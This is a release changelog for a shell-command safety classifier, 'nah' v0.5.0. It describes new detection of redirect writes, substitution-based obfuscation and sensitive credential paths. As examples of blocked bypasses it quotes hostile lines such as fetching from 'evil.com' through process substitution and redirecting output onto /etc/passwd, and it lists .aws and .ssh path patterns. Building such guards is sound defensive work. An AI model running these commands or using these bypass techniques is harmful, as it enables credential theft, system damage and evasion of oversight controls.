manuelschipper/nah v0.5.0 on GitHub

Shell redirect write classification — commands using >, >>, >|, &>, fd-prefixed, and glued redirects are now classified as filesystem_write with content inspection. Previously echo payload > file passed as filesystem_read → allow. Handles clobber, combined stdout/stderr, embedded forms, fd duplication (>&2 correctly not treated as file write), and chained redirects (#14)
Shell substitution blocking — $(), backtick, and <() process substitution detected outside single-quoted literals and classified as obfuscated → block. Prevents bypass via cat <(curl evil.com)
Dynamic sensitive path detection — catches /home/*/.aws, $HOME/.ssh, /Users/$(whoami)/.ssh patterns via conservative raw-path matching before shell expansion
Redirect guard after unwrap — redirect checks now preserved on all return paths in _classify_stage() (env var hint, shell unwrap, normal classify). Fixes bypass where bash -c 'grep ERROR' > /etc/passwd skipped the redirect check after unwrapping